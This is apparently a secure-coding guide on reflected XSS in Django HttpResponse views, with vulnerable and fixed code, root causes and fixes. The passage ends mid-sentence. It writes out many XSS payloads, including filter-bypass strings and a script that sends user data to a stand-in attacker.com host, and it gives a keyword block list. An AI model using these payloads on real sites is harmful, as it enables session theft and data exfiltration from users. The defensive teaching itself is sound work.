Django Reflected Data in HttpResponse

High Risk Cross-Site Scripting (XSS)
djangopythonxssreflected-xsshttpresponseuser-input

What it is

The Django application reflects user-controlled data directly in HttpResponse without proper encoding or validation, creating cross-site scripting (XSS) vulnerabilities. When user input is returned in HTTP responses without sanitization, attackers can inject malicious scripts that execute in other users' browsers, potentially stealing session tokens, performing unauthorized actions, or redirecting users to malicious sites.

# Vulnerable: Reflected data in HttpResponse from django.http import HttpResponse, JsonResponse from django.views import View from django.shortcuts import render import json # Dangerous: Direct reflection of user input class SearchView(View): def get(self, request): query = request.GET.get('q', '') # CRITICAL: User input reflected without escaping html_content = f"""

Search Results

You searched for: {query}

No results found
""" return HttpResponse(html_content) # Another dangerous pattern def error_page(request): error_msg = request.GET.get('error', '') user_name = request.GET.get('user', '') # Dangerous: Multiple user inputs in response response_html = f""" Error

Error for user: {user_name}

{error_msg}

""" return HttpResponse(response_html) # JSON response vulnerability def api_response(request): message = request.POST.get('message', '') callback = request.GET.get('callback', '') # Dangerous: JSONP callback injection if callback: response_content = f"{callback}({{'message': '{message}'}});" return HttpResponse(response_content, content_type='application/javascript') # Also dangerous: Unescaped message in JSON return JsonResponse({'message': message}) # Form processing with reflection def process_form(request): if request.method == 'POST': name = request.POST.get('name', '') email = request.POST.get('email', '') comment = request.POST.get('comment', '') # Dangerous: Form data reflected in response html = f"""

Form Submitted Successfully

Name: {name}

Email: {email}

Comment: {comment}

Go Back """ return HttpResponse(html) # Debug information exposure def debug_info(request): debug_param = request.GET.get('debug', '') user_agent = request.META.get('HTTP_USER_AGENT', '') # Dangerous: Debug info with user-controlled data debug_html = f"""

Debug Information

Debug Parameter: {debug_param}

User Agent: {user_agent}

""" return HttpResponse(debug_html) # Redirect with reflected data def custom_redirect(request): redirect_url = request.GET.get('next', '/') message = request.GET.get('msg', '') # Dangerous: Message reflected in redirect page redirect_html = f"""

Redirecting...

{message}

You will be redirected to: {redirect_url}

""" return HttpResponse(redirect_html)
# Secure: Safe handling of user data in responses from django.http import HttpResponse, JsonResponse from django.views import View from django.shortcuts import render from django.template.loader import render_to_string from django.utils.html import escape, format_html from django.core.exceptions import ValidationError import json import re # Safe: Using Django templates with auto-escaping class SafeSearchView(View): def get(self, request): query = request.GET.get('q', '') try: # Validate query validated_query = self.validate_search_query(query) # Safe: Django template with auto-escaping context = { 'query': validated_query, 'results': [] # Would contain actual search results } return render(request, 'search_results.html', context) except ValidationError as e: return JsonResponse({'error': str(e)}, status=400) def validate_search_query(self, query): # Validate query length if len(query) > 100: raise ValidationError('Search query too long') # Basic XSS prevention if '<' in query or '>' in query or 'script' in query.lower(): raise ValidationError('Invalid characters in search query') return query.strip() # Safe: Error handling with proper escaping def safe_error_page(request): error_msg = request.GET.get('error', '') user_name = request.GET.get('user', '') try: # Validate inputs validated_error = validate_error_message(error_msg) validated_user = validate_username(user_name) # Safe: Using Django template context = { 'error_message': validated_error, 'user_name': validated_user } return render(request, 'error_page.html', context) except ValidationError: # Safe fallback return render(request, 'generic_error.html') def validate_error_message(message): if not message: return 'An error occurred' # Limit length if len(message) > 200: message = message[:200] # Remove potentially dangerous content message = re.sub(r'[<>"\']', '', message) return message def validate_username(username): if not username: return 'Guest' # Only allow alphanumeric and safe characters if not re.match(r'^[a-zA-Z0-9_.-]+$', username): return 'User' return username[:50] # Limit length # Safe: JSON API responses def safe_api_response(request): message = request.POST.get('message', '') try: # Validate message validated_message = validate_api_message(message) # Safe: Django's JsonResponse automatically escapes return JsonResponse({ 'status': 'success', 'message': validated_message, 'timestamp': int(time.time()) }) except ValidationError as e: return JsonResponse({'error': 'Invalid message'}, status=400) def validate_api_message(message): if not message: raise ValidationError('Empty message') if len(message) > 500: raise ValidationError('Message too long') # Remove dangerous characters cleaned_message = re.sub(r'[<>"\']', '', message) return cleaned_message # Safe: Form processing with templates def safe_process_form(request): if request.method == 'POST': try: # Validate form data validated_data = validate_form_data(request.POST) # Process form data here (save to database, etc.) # Safe: Template rendering with auto-escaping context = { 'success': True, 'name': validated_data['name'], 'email': validated_data['email'] # Note: Comment not displayed for security } return render(request, 'form_success.html', context) except ValidationError as e: return JsonResponse({'error': str(e)}, status=400) return render(request, 'form.html') def validate_form_data(post_data): name = post_data.get('name', '').strip() email = post_data.get('email', '').strip() comment = post_data.get('comment', '').strip() # Validate name if not name or len(name) > 100: raise ValidationError('Invalid name') if not re.match(r'^[a-zA-Z\s.-]+$', name): raise ValidationError('Name contains invalid characters') # Validate email if not email or len(email) > 254: raise ValidationError('Invalid email') email_pattern = r'^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$' if not re.match(email_pattern, email): raise ValidationError('Invalid email format') # Validate comment if len(comment) > 1000: raise ValidationError('Comment too long') return { 'name': name, 'email': email, 'comment': comment } # Safe: Debug information without reflection def safe_debug_info(request): # Only show debug info to staff users if not request.user.is_staff: return JsonResponse({'error': 'Access denied'}, status=403) debug_param = request.GET.get('debug', '') # Safe: No user input reflection debug_info = { 'timestamp': int(time.time()), 'user_authenticated': request.user.is_authenticated, 'session_key_exists': bool(request.session.session_key), 'method': request.method, 'secure': request.is_secure() } # Only include debug param if it's safe if debug_param and debug_param in ['sql', 'cache', 'session']: debug_info['debug_mode'] = debug_param return JsonResponse(debug_info) # Safe: Redirect without reflection def safe_custom_redirect(request): redirect_url = request.GET.get('next', '/') message_type = request.GET.get('msg_type', '') # Validate redirect URL allowed_domains = ['localhost', 'example.com', 'myapp.com'] if not is_safe_redirect_url(redirect_url, allowed_domains): redirect_url = '/' # Use predefined messages instead of user input messages = { 'logout': 'You have been logged out successfully.', 'login': 'Please log in to continue.', 'error': 'An error occurred. Please try again.' } message = messages.get(message_type, 'Redirecting...') # Safe: Template with no user input reflection context = { 'redirect_url': redirect_url, 'message': message, 'delay': 3 } return render(request, 'redirect.html', context) def is_safe_redirect_url(url, allowed_domains): from urllib.parse import urlparse if not url: return False # Allow relative URLs if url.startswith('/'): return True # Validate absolute URLs try: parsed = urlparse(url) return parsed.netloc in allowed_domains except Exception: return False

💡 Why This Fix Works

See fix suggestions for detailed explanation.

Why it happens

Django views construct HTTP responses using HttpResponse() with user-controlled data from request parameters, form inputs, or URL paths directly embedded without HTML encoding, enabling attackers to inject malicious JavaScript that executes in victims' browsers when the response renders. The HttpResponse(content) constructor accepts raw string content without automatic escaping: HttpResponse(f'<h1>Search: {query}</h1>') allows query parameter containing '<script>alert(document.cookie)</script>' to inject JavaScript directly into the response HTML. This bypasses Django's template system which provides automatic HTML escaping, leaving developers responsible for manual encoding they often forget. Search result pages: query = request.GET['q']; return HttpResponse(f'<html><body>Results for: {query}</body></html>') reflects unencoded user input enabling XSS when query = '<img src=x onerror=alert(1)>'. Error message displays: error_msg = request.GET['error']; return HttpResponse(f'<div class="error">{error_msg}</div>') vulnerable when error_msg contains '<script>fetch("/api/user").then(r=>r.json()).then(d=>fetch("http://attacker.com?data="+JSON.stringify(d)))</script>' stealing user data. Greeting or welcome pages: name = request.GET['name']; return HttpResponse(f'<h1>Welcome {name}!</h1>') exploitable through name = '<svg onload=alert(document.domain)>'. Form confirmation pages: comment = request.POST['comment']; return HttpResponse(f'<p>Your comment: {comment}</p>') allows comment containing malicious scripts. Debug or diagnostic views: param = request.GET['debug']; return HttpResponse(f'<pre>Debug: {param}</pre>') reflect debug parameters without encoding. API documentation endpoints generating HTML: endpoint = request.GET['api']; return HttpResponse(f'<code>GET /api/{endpoint}</code>') vulnerable when endpoint contains HTML injection. User profile pages: bio = user_profile.bio; return HttpResponse(f'<div class="bio">{bio}</div>') when bio field contains unfiltered user input stored in database (stored XSS becoming reflected through HttpResponse). Notification or alert displays: message = request.GET['msg']; return HttpResponse(f'<div class="alert">{message}</div>') reflecting arbitrary message content.

Root causes

Returning User Input Directly in HttpResponse Without HTML Encoding

Django views construct HTTP responses using HttpResponse() with user-controlled data from request parameters, form inputs, or URL paths directly embedded without HTML encoding, enabling attackers to inject malicious JavaScript that executes in victims' browsers when the response renders. The HttpResponse(content) constructor accepts raw string content without automatic escaping: HttpResponse(f'<h1>Search: {query}</h1>') allows query parameter containing '<script>alert(document.cookie)</script>' to inject JavaScript directly into the response HTML. This bypasses Django's template system which provides automatic HTML escaping, leaving developers responsible for manual encoding they often forget. Search result pages: query = request.GET['q']; return HttpResponse(f'<html><body>Results for: {query}</body></html>') reflects unencoded user input enabling XSS when query = '<img src=x onerror=alert(1)>'. Error message displays: error_msg = request.GET['error']; return HttpResponse(f'<div class="error">{error_msg}</div>') vulnerable when error_msg contains '<script>fetch("/api/user").then(r=>r.json()).then(d=>fetch("http://attacker.com?data="+JSON.stringify(d)))</script>' stealing user data. Greeting or welcome pages: name = request.GET['name']; return HttpResponse(f'<h1>Welcome {name}!</h1>') exploitable through name = '<svg onload=alert(document.domain)>'. Form confirmation pages: comment = request.POST['comment']; return HttpResponse(f'<p>Your comment: {comment}</p>') allows comment containing malicious scripts. Debug or diagnostic views: param = request.GET['debug']; return HttpResponse(f'<pre>Debug: {param}</pre>') reflect debug parameters without encoding. API documentation endpoints generating HTML: endpoint = request.GET['api']; return HttpResponse(f'<code>GET /api/{endpoint}</code>') vulnerable when endpoint contains HTML injection. User profile pages: bio = user_profile.bio; return HttpResponse(f'<div class="bio">{bio}</div>') when bio field contains unfiltered user input stored in database (stored XSS becoming reflected through HttpResponse). Notification or alert displays: message = request.GET['msg']; return HttpResponse(f'<div class="alert">{message}</div>') reflecting arbitrary message content.

Missing Output Encoding for Dynamic Content in Different Contexts

Django applications fail to apply context-appropriate encoding when inserting user-controlled data into HTML, JavaScript, CSS, or URL contexts within HttpResponse content, causing encoding bypasses where data safe in HTML context becomes exploitable in JavaScript or URL contexts. HTML context requires HTML entity encoding: '<' becomes '&lt;', '>' becomes '&gt;' preventing tag injection, but same encoding insufficient for JavaScript string context where single quotes or backslashes enable escaping. JavaScript context injection: return HttpResponse(f'<script>var user="{username}";</script>') vulnerable when username = 'x"; alert(1); //' breaking out of string literal even if username HTML-encoded as HTML encoding doesn't prevent JavaScript syntax injection. Inline event handler context: return HttpResponse(f'<div onclick="greet(\"{name}\")">Hello</div>') exploitable through name = '"); alert(1); //' escaping JavaScript string within HTML attribute. CSS context injection: return HttpResponse(f'<style>.user {{background: url({bg_image});}}</style>') vulnerable to bg_image = 'javascript:alert(1)' or data URIs executing code. URL context in href attributes: return HttpResponse(f'<a href="{redirect_url}">Click</a>') dangerous when redirect_url = 'javascript:alert(document.cookie)' or 'data:text/html,<script>alert(1)</script>'. URL parameter context: return HttpResponse(f'<a href="/search?q={query}">Search</a>') requires URL encoding where query = 'x&injection=<script>alert(1)</script>' breaks parameter parsing. Attribute value context: return HttpResponse(f'<input value="{user_value}">') vulnerable when user_value = 'x" onload="alert(1)' breaking out of attribute. JSON embedded in HTML: return HttpResponse(f'<script>var data={json.dumps(user_data)};</script>') dangerous when user_data contains '</script><script>alert(1)</script>' breaking out of script block even though JSON encoded. Meta tag context: return HttpResponse(f'<meta name="description" content="{description}">') exploitable through description = 'x" http-equiv="refresh" content="0;url=javascript:alert(1)'. Data attribute context: return HttpResponse(f'<div data-user="{username}">{content}</div>') vulnerable when JavaScript reads data-user attribute and uses it unsafely. SVG context: return HttpResponse(f'<svg><text>{svg_text}</text></svg>') allowing svg_text = '<script>alert(1)</script>' as SVG supports script elements.

Insufficient Input Validation Before Response Generation Allowing Malicious Payloads

Django views validate user input inadequately or not at all before including it in HttpResponse, failing to detect and reject XSS payloads, encoded attacks, or obfuscated JavaScript that bypass weak validation filters. Missing validation entirely: query = request.GET.get('search', ''); return HttpResponse(f'<h1>{query}</h1>') without any validation checks allowing any content including complete XSS payloads. Blacklist-based validation: if '<script>' not in user_input.lower(): return HttpResponse(f'<div>{user_input}</div>') fails against '<img src=x onerror=alert(1)>', '<svg/onload=alert(1)>', '<iframe src=javascript:alert(1)>', or case variations like '<ScRiPt>'. Incomplete tag filtering: filtered = user_input.replace('<script>', '').replace('</script>', ''); return HttpResponse(f'<p>{filtered}</p>') bypassed by '<scr<script>ipt>alert(1)</script>' where removal of inner tag leaves outer script tag. Attribute blacklist validation: if 'onclick' not in user_input and 'onload' not in user_input: return HttpResponse(f'<img src="{user_input}">') missing other event handlers like 'onerror', 'onmouseover', 'onfocus'. URL scheme validation: if user_input.startswith('http://'): return HttpResponse(f'<a href="{user_input}">Link</a>') failing to block 'javascript:', 'data:', 'vbscript:' schemes. Length-based validation assuming safety: if len(user_input) < 50: return HttpResponse(f'<p>{user_input}</p>') doesn't prevent '<script>alert(1)</script>' fitting within limit. Alphanumeric-only validation in wrong context: if user_input.isalnum(): return HttpResponse(f'<script>var id="{user_input}";</script>') safe for HTML but allows JavaScript injection through Unicode variable names or breaking out with encoding. HTML entity decoding issues: validating after HTML decoding but outputting decoded version allowing '&lt;script&gt;' to pass validation then render as '<script>'. Regex validation with bypass: if not re.search(r'<.*>', user_input): return HttpResponse(f'<div>{user_input}</div>') failed by '<svg/onload=alert(1)>' using self-closing tag without closing bracket or newline breaking regex. Validation of wrong data: validating sanitized copy but outputting original: clean_input = strip_tags(user_input); if len(clean_input) < 100: return HttpResponse(f'<p>{user_input}</p>') validating stripped version but reflecting original with tags. Content-Type header validation: assuming JSON Content-Type prevents XSS but returning HttpResponse(json_data, content_type='application/json') with HTML content browsers interpret as HTML.

Using Unsafe String Concatenation or F-Strings to Build HTTP Response HTML

Django applications construct HTML responses using Python string concatenation, f-strings, or format() methods that directly embed user data into HTML structure, making it easy to accidentally include unencoded user input creating XSS vulnerabilities. F-string HTML construction: query = request.GET['q']; html = f'<html><body><h1>Results for {query}</h1></body></html>'; return HttpResponse(html) concatenates user input directly without encoding. String concatenation: username = request.user.username; html = '<div class="user">' + username + '</div>'; return HttpResponse(html) assumes username safe but may contain malicious content. Format method: error = request.GET['error']; html = '<p class="error">{}</p>'.format(error); return HttpResponse(html) inserts unencoded error message. Multi-line f-string templates: html = f'''<html><head><title>{title}</title></head><body><h1>{heading}</h1><p>{content}</p></body></html>'''; return HttpResponse(html) looks like template but lacks encoding for title, heading, content variables. Nested concatenation: response_body = '<div>' + '<h2>' + page_title + '</h2>' + '<p>' + user_message + '</p>' + '</div>'; return HttpResponse(response_body) multiple injection points. List comprehension building HTML: items_html = ''.join([f'<li>{item}</li>' for item in user_items]); return HttpResponse(f'<ul>{items_html}</ul>') each item unencoded. Template-like strings without escaping: html_template = '<div class="{css_class}">{content}</div>'; result = html_template.format(css_class=user_class, content=user_content); return HttpResponse(result) appears safe but both variables unencoded. Conditional HTML building: if user_type == 'admin': html = f'<div class="admin">Welcome {admin_name}</div>'; else: html = f'<div>Welcome {guest_name}</div>'; return HttpResponse(html) both branches vulnerable. Dynamic HTML generation: html_parts = ['<div>']; html_parts.append(f'<h1>{title}</h1>'); html_parts.append(f'<p>{description}</p>'); html_parts.append('</div>'); return HttpResponse(''.join(html_parts)) builds HTML dynamically without encoding. JSON-to-HTML conversion: data_html = f'<pre>{json.dumps(user_data, indent=2)}</pre>'; return HttpResponse(data_html) assumes JSON encoding sufficient but doesn't encode HTML entities in JSON strings. Table row generation: rows = '\n'.join([f'<tr><td>{row[0]}</td><td>{row[1]}</td></tr>' for row in database_results]); return HttpResponse(f'<table>{rows}</table>') database content might contain HTML. Embedded JSON in script tag: script = f'<script>window.config = {json.dumps(config)};</script>'; return HttpResponse(html_content + script) vulnerable to '</script><script>alert(1)</script>' in config values.

Bypassing Django's Automatic HTML Escaping by Using HttpResponse Instead of Templates

Developers deliberately or inadvertently bypass Django's secure-by-default automatic HTML escaping mechanism by constructing responses with HttpResponse() instead of using render() or Django templates, losing the framework's primary XSS protection. Django templates provide automatic escaping: {% extends 'base.html' %} {% block content %} <h1>Welcome {{username}}</h1> {% endblock %} automatically encodes username preventing XSS, but HttpResponse(f'<h1>Welcome {username}</h1>') loses this protection. Manual HTML construction for perceived performance: developers avoid template rendering overhead by building HTML strings directly with HttpResponse believing it's faster, sacrificing security for minor performance gains: return HttpResponse('<div>' + cached_content + '</div>') when cached_content contains unescaped user data. Quick prototyping or debugging: return HttpResponse(f'<pre>Debug: {debug_info}</pre>') bypasses templates during development then accidentally deployed to production. API endpoints returning HTML: return HttpResponse(f'<html><body>{api_result}</body></html>') when API result contains user data, avoiding template system for simplicity. Dynamic HTML generation: building HTML programmatically with complex logic makes developers choose HttpResponse over templates: html = build_complex_html(data); return HttpResponse(html) where build_complex_html uses string operations without encoding. Legacy code patterns: older Django code predating auto-escaping or migrated from other frameworks: return HttpResponse('<html>' + generate_page() + '</html>') maintaining unsafe patterns. AJAX partial responses: return HttpResponse(f'<div id="result">{result}</div>') returning HTML fragments for AJAX requests without template rendering. Error handlers: custom 404 or 500 handlers using HttpResponse(f'<h1>Error: {error_message}</h1>') instead of render(request, '404.html', {'error': error_message}). Middleware generating responses: response = HttpResponse(f'<div>{response_content}</div>') in middleware bypassing template layer. Testing or example code: HttpResponse('<h1>Test: ' + test_data + '</h1>') in examples copied to production code. Mixing safe and unsafe: some views use templates safely but specific endpoints use HttpResponse: @api_view(['GET']); def quick_view(request): return HttpResponse(f'<p>{request.GET["msg"]}</p>') creating inconsistent security posture. Decorator or wrapper functions: decorators returning HttpResponse instead of allowing view to use templates: @custom_decorator; def view(request): return HttpResponse(decorated_content) where decorator adds unescaped content.

Fixes

1

Always Escape User Input Before Including in HttpResponse Using Django Utilities

Apply proper HTML entity encoding to all user-controlled data before embedding it in HttpResponse content using Django's escape utilities—django.utils.html.escape(), django.utils.html.format_html(), or conditional_escape()—which convert dangerous HTML characters to safe entities preventing script injection. Use django.utils.html.escape() for basic HTML encoding: from django.utils.html import escape; query = request.GET.get('q', ''); safe_html = f'<html><body><h1>Search: {escape(query)}</h1></body></html>'; return HttpResponse(safe_html) where escape() converts '<' to '&lt;', '>' to '&gt;', '&' to '&amp;', '"' to '&quot;', and "'" to '&#x27;' preventing tag injection. The escape() function is specifically designed for HTML context: escape('<script>alert(1)</script>') returns '&lt;script&gt;alert(1)&lt;/script&gt;' which browsers render as text not executable code. Use format_html() for safer string formatting with automatic escaping: from django.utils.html import format_html; result_html = format_html('<div class="result"><h2>{}</h2><p>{}</p></div>', escape(title), escape(description)); return HttpResponse(result_html) where format_html() escapes all format arguments preventing injection. For building complex HTML safely, use format_html() with mark_safe() judiciously: from django.utils.safestring import mark_safe; safe_parts = [format_html('<li>{}</li>', item) for item in user_items]; items_html = mark_safe(''.join(safe_parts)); result = format_html('<ul>{}</ul>', items_html); return HttpResponse(result) where each item escaped but joined HTML marked safe. Apply escape() to all user data sources: request.GET parameters: escaped_param = escape(request.GET.get('param', '')), request.POST data: escaped_comment = escape(request.POST.get('comment', '')), URL path components: escaped_slug = escape(kwargs['slug']), request headers: escaped_referrer = escape(request.META.get('HTTP_REFERER', '')), database content containing user input: escaped_bio = escape(user.profile.bio). For JavaScript context, use json.dumps() with proper escaping: from django.utils.html import escapejs; js_var = escapejs(user_input); script = f'<script>var userInput = "{js_var}";</script>'; return HttpResponse(html_content + script) where escapejs() escapes quotes, backslashes, and newlines for JavaScript strings. For URL context, use urllib.parse.quote(): from urllib.parse import quote; safe_url = quote(user_redirect, safe=''); link_html = format_html('<a href="{}">Redirect</a>', safe_url); return HttpResponse(link_html) encoding URL-unsafe characters. Create reusable safe response builders: def safe_html_response(template_string, **kwargs): escaped_kwargs = {k: escape(v) for k, v in kwargs.items()}; html = template_string.format(**escaped_kwargs); return HttpResponse(html) centralizing escaping logic. For attributes, escape both attribute names and values: attr_name = 'data-' + re.sub(r'[^a-z0-9-]', '', user_attr_name); attr_value = escape(user_attr_value); html = f'<div {attr_name}="{attr_value}">Content</div>'; return HttpResponse(html) preventing attribute injection. Never trust data from any source including databases, cookies, session storage: all external data should be escaped before output regardless of where it originated.

2

Use Django's Template System with Automatic Escaping Instead of HttpResponse

Replace direct HttpResponse() HTML construction with Django's render() function and template system which provides automatic HTML escaping by default, eliminating manual encoding requirements and reducing XSS vulnerabilities through framework-level protection. Use render() with templates for all HTML responses: from django.shortcuts import render; def search_view(request): query = request.GET.get('q', ''); results = perform_search(query); return render(request, 'search_results.html', {'query': query, 'results': results}) where template {{ query }} automatically HTML-escapes query preventing XSS. Django templates escape all variables by default: search_results.html containing <h1>Search: {{ query }}</h1> <ul>{% for result in results %}<li>{{ result.title }}</li>{% endfor %}</ul> automatically encodes all output. The template engine's auto-escaping applies to: variable substitution: {{ user_input }}, filters: {{ data|truncatewords:30 }}, template tags: {% if value %}{{ value }}{% endif %}, included templates: {% include 'partial.html' with var=user_data %}. For complex HTML generation, use template blocks and inheritance: base.html with {% block content %}{% endblock %}, child template with {% extends 'base.html' %} {% block content %}<div>{{ user_data }}</div>{% endblock %} maintaining auto-escaping across template hierarchy. Use get_template() for programmatic template rendering: from django.template.loader import get_template; template = get_template('email_template.html'); html_content = template.render({'user_name': user.name, 'message': user_message}); return HttpResponse(html_content) rendering templates with safe escaping. For AJAX partial responses, use render_to_string(): from django.template.loader import render_to_string; html_fragment = render_to_string('result_partial.html', {'data': user_data}); return HttpResponse(html_fragment) returning HTML fragments safely. Configure template engine explicitly enabling auto-escaping: TEMPLATES = [{'BACKEND': 'django.template.backends.django.DjangoTemplates', 'OPTIONS': {'autoescape': True}}] ensuring escaping enabled (default). For intentional raw HTML output, use |safe filter explicitly: {{ trusted_html|safe }} or {% autoescape off %}{{ admin_content }}{% endautoescape %} documenting security decisions. Combine template inheritance with includes: {% include 'user_card.html' with user=current_user %} passing context safely. Use template fragments for dynamic content: {% include 'dynamic_section.html' with section_data=data %} instead of string concatenation. For error pages, use template-based handlers: handler404 = 'myapp.views.custom_404'; def custom_404(request, exception): return render(request, '404.html', {'path': request.path}, status=404) safely rendering error information. Create reusable template components: {% with user_name=user.get_full_name %}<div class="user">{{ user_name }}</div>{% endwith %} encapsulating safe patterns. For JSON responses with HTML, use templates: json_data = {'html': render_to_string('snippet.html', context), 'status': 'success'}; return JsonResponse(json_data) embedding safely-rendered HTML in JSON. Use TemplateResponse for deferred rendering: from django.template.response import TemplateResponse; return TemplateResponse(request, 'page.html', {'data': user_data}) allowing middleware to modify context before rendering with maintained escaping.

3

Validate and Sanitize All User Input Before Processing and Response Generation

Implement comprehensive input validation and sanitization for all user-provided data before including it in HttpResponse, using allowlists, format validation, length limits, and content filtering to reject or clean malicious payloads before they reach output encoding. Use Django forms for structured validation: from django import forms; class SearchForm(forms.Form): query = forms.CharField(max_length=100, required=True); def clean_query(self): query = self.cleaned_data['query']; if '<' in query or '>' in query: raise forms.ValidationError('Invalid characters'); return query.strip() validating and cleaning input. Define field-level validators: from django.core.validators import RegexValidator; alphanumeric = RegexValidator(r'^[a-zA-Z0-9\s]+$', 'Only alphanumeric characters allowed'); class UserInputForm(forms.Form): name = forms.CharField(validators=[alphanumeric], max_length=50) preventing injection through format requirements. Implement custom validation functions: def validate_safe_content(value): dangerous_patterns = ['<script', 'javascript:', 'onerror=', 'onload=', '<iframe', 'data:text/html']; for pattern in dangerous_patterns: if pattern in value.lower(): raise ValidationError(f'Potentially dangerous content: {pattern}'); if len(value) > 1000: raise ValidationError('Content too long'); return value checking for common XSS vectors. Use bleach library for HTML sanitization: import bleach; def sanitize_user_html(html_input): allowed_tags = ['p', 'br', 'strong', 'em', 'a']; allowed_attributes = {'a': ['href', 'title']}; clean_html = bleach.clean(html_input, tags=allowed_tags, attributes=allowed_attributes, strip=True); return clean_html allowing safe HTML subset. Validate URL schemes in user-provided URLs: from urllib.parse import urlparse; def validate_safe_url(url): if not url: raise ValidationError('URL required'); parsed = urlparse(url); allowed_schemes = ['http', 'https']; if parsed.scheme not in allowed_schemes: raise ValidationError('Invalid URL scheme'); if parsed.netloc in ['localhost', '127.0.0.1', '0.0.0.0']: raise ValidationError('Local URLs not allowed'); return url preventing javascript:, data:, file: schemes. Implement length limits for all text inputs: name = request.POST.get('name', '')[:100]; comment = request.POST.get('comment', '')[:500] preventing buffer-related attacks. Use character allowlists for specific fields: username = request.POST.get('username', ''); if not re.match(r'^[a-zA-Z0-9._-]+$', username): raise ValidationError('Username contains invalid characters') restricting to safe characters. Validate content type for uploaded files: if file.content_type not in ['image/jpeg', 'image/png', 'application/pdf']: raise ValidationError('File type not allowed') preventing HTML file uploads. Implement rate limiting: from django.core.cache import cache; cache_key = f'form_submit_{request.META["REMOTE_ADDR"]}'; if cache.get(cache_key): raise ValidationError('Too many requests'); cache.set(cache_key, True, 60) preventing automated XSS injection attempts. Create validation middleware: class InputValidationMiddleware: def __call__(self, request): for key, value in request.GET.items(): if len(value) > 1000 or '<script' in value.lower(): return HttpResponse('Invalid input detected', status=400); return self.get_response(request) applying global validation. Use Django REST framework serializers for API inputs: from rest_framework import serializers; class MessageSerializer(serializers.Serializer): text = serializers.CharField(max_length=500); def validate_text(self, value): if any(char in value for char in '<>"\''): raise serializers.ValidationError('Invalid characters'); return value providing structured API validation.

4

Implement Content Security Policy (CSP) Headers to Mitigate XSS Impact

Configure Content Security Policy (CSP) HTTP headers in Django responses to restrict sources of executable content, providing defense-in-depth that limits XSS exploitation even if encoding vulnerabilities exist, by preventing inline scripts, restricting script sources, and blocking unsafe eval(). Implement CSP middleware: class CSPMiddleware: def __init__(self, get_response): self.get_response = get_response; def __call__(self, request): response = self.get_response(request); response['Content-Security-Policy'] = "default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self'; connect-src 'self'; frame-ancestors 'none'; base-uri 'self'; form-action 'self'"; return response then add to MIDDLEWARE setting. Use django-csp package for easier CSP management: install django-csp, add 'csp.middleware.CSPMiddleware' to MIDDLEWARE, configure in settings.py: CSP_DEFAULT_SRC = ("'self'",); CSP_SCRIPT_SRC = ("'self'", 'cdn.example.com'); CSP_STYLE_SRC = ("'self'", "'unsafe-inline'"); CSP_IMG_SRC = ("'self'", 'data:', 'https:'); CSP_FONT_SRC = ("'self'",); CSP_CONNECT_SRC = ("'self'",); CSP_FRAME_ANCESTORS = ("'none'",); CSP_BASE_URI = ("'self'",); CSP_FORM_ACTION = ("'self'",) providing declarative CSP configuration. Implement strict CSP without 'unsafe-inline': response['Content-Security-Policy'] = "default-src 'self'; script-src 'self' 'nonce-{nonce_value}'; style-src 'self'; object-src 'none'" using nonces for inline scripts. Generate and use nonces for inline scripts: import secrets; def view_with_nonce(request): nonce = secrets.token_urlsafe(16); context = {'nonce': nonce}; response = render(request, 'template.html', context); response['Content-Security-Policy'] = f"script-src 'self' 'nonce-{nonce}'"; return response then in template: <script nonce="{{ nonce }}">console.log('safe');</script> allowing specific inline scripts. Use CSP report-uri for monitoring: CSP_REPORT_URI = '/csp-report/'; def csp_report_view(request): report = json.loads(request.body); logger.warning('CSP Violation', extra={'report': report}); return HttpResponse(status=204) collecting CSP violations. Implement report-only mode for testing: response['Content-Security-Policy-Report-Only'] = policy_string deploying CSP without breaking functionality during rollout. Use strict-dynamic for modern browsers: CSP_SCRIPT_SRC = ("'strict-dynamic' 'nonce-{nonce}'",) allowing scripts loaded by trusted scripts. Configure CSP for different environments: if settings.DEBUG: CSP_SCRIPT_SRC += ("'unsafe-eval'",) enabling eval() in development but blocking in production. Set frame-ancestors to prevent clickjacking: CSP_FRAME_ANCESTORS = ("'none'",) or CSP_FRAME_ANCESTORS = ('https://trusted.example.com',) controlling embedding. Use upgrade-insecure-requests directive: CSP_UPGRADE_INSECURE_REQUESTS = True automatically upgrading HTTP to HTTPS. Implement trusted-types for DOM XSS prevention: response['Content-Security-Policy'] = "require-trusted-types-for 'script'; trusted-types default" requiring Trusted Types API for DOM manipulation. Configure per-view CSP: from csp.decorators import csp_update; @csp_update(SCRIPT_SRC=['https://trusted-cdn.com']); def special_view(request): return render(request, 'template.html') customizing CSP per endpoint.

5

Use Django's Built-in XSS Protection Mechanisms and Security Settings

Enable and properly configure Django's comprehensive built-in XSS protection features including automatic HTML escaping, secure template rendering, XSS protection headers, and security middleware that provide framework-level defense against cross-site scripting attacks. Ensure template auto-escaping enabled: in settings.py TEMPLATES configuration, verify 'OPTIONS': {'autoescape': True} is set (default) ensuring all template variables automatically HTML-escaped. Use {% autoescape on %} explicitly in templates when needed: {% autoescape on %}<div>{{ user_content }}</div>{% endautoescape %} documenting escaping intention. Enable XSS protection header middleware: add 'django.middleware.security.SecurityMiddleware' to MIDDLEWARE setting enabling X-XSS-Protection header. Configure security middleware settings: SECURE_BROWSER_XSS_FILTER = True adding X-XSS-Protection: 1; mode=block header activating browser XSS filters. Set SECURE_CONTENT_TYPE_NOSNIFF = True adding X-Content-Type-Options: nosniff header preventing MIME-sniffing attacks where browsers interpret text/plain as text/html. Use Django's JsonResponse for JSON data: from django.http import JsonResponse; return JsonResponse({'data': user_data}) which automatically sets Content-Type: application/json and properly encodes data preventing JSON hijacking and XSS in JSON contexts. Enable Django's CSRF protection: ensure 'django.middleware.csrf.CsrfViewMiddleware' in MIDDLEWARE and {% csrf_token %} in forms preventing CSRF attacks that could exploit XSS vulnerabilities. Use mark_safe() consciously with documentation: from django.utils.safestring import mark_safe; trusted_html = mark_safe(admin_generated_content) but only for content from trusted sources never user input. Implement secure session configuration: SESSION_COOKIE_HTTPONLY = True preventing JavaScript access to session cookies limiting XSS impact; SESSION_COOKIE_SECURE = True requiring HTTPS for session cookies; SESSION_COOKIE_SAMESITE = 'Strict' preventing CSRF. Configure secure cookies: CSRF_COOKIE_HTTPONLY = True; CSRF_COOKIE_SECURE = True; CSRF_COOKIE_SAMESITE = 'Strict' protecting CSRF tokens. Use Django's escape filter in templates explicitly when needed: {{ user_input|escape }} or {{ variable|force_escape }} for double-escaping. Apply escapejs filter for JavaScript context: {{ user_data|escapejs }} in <script>var data = '{{ 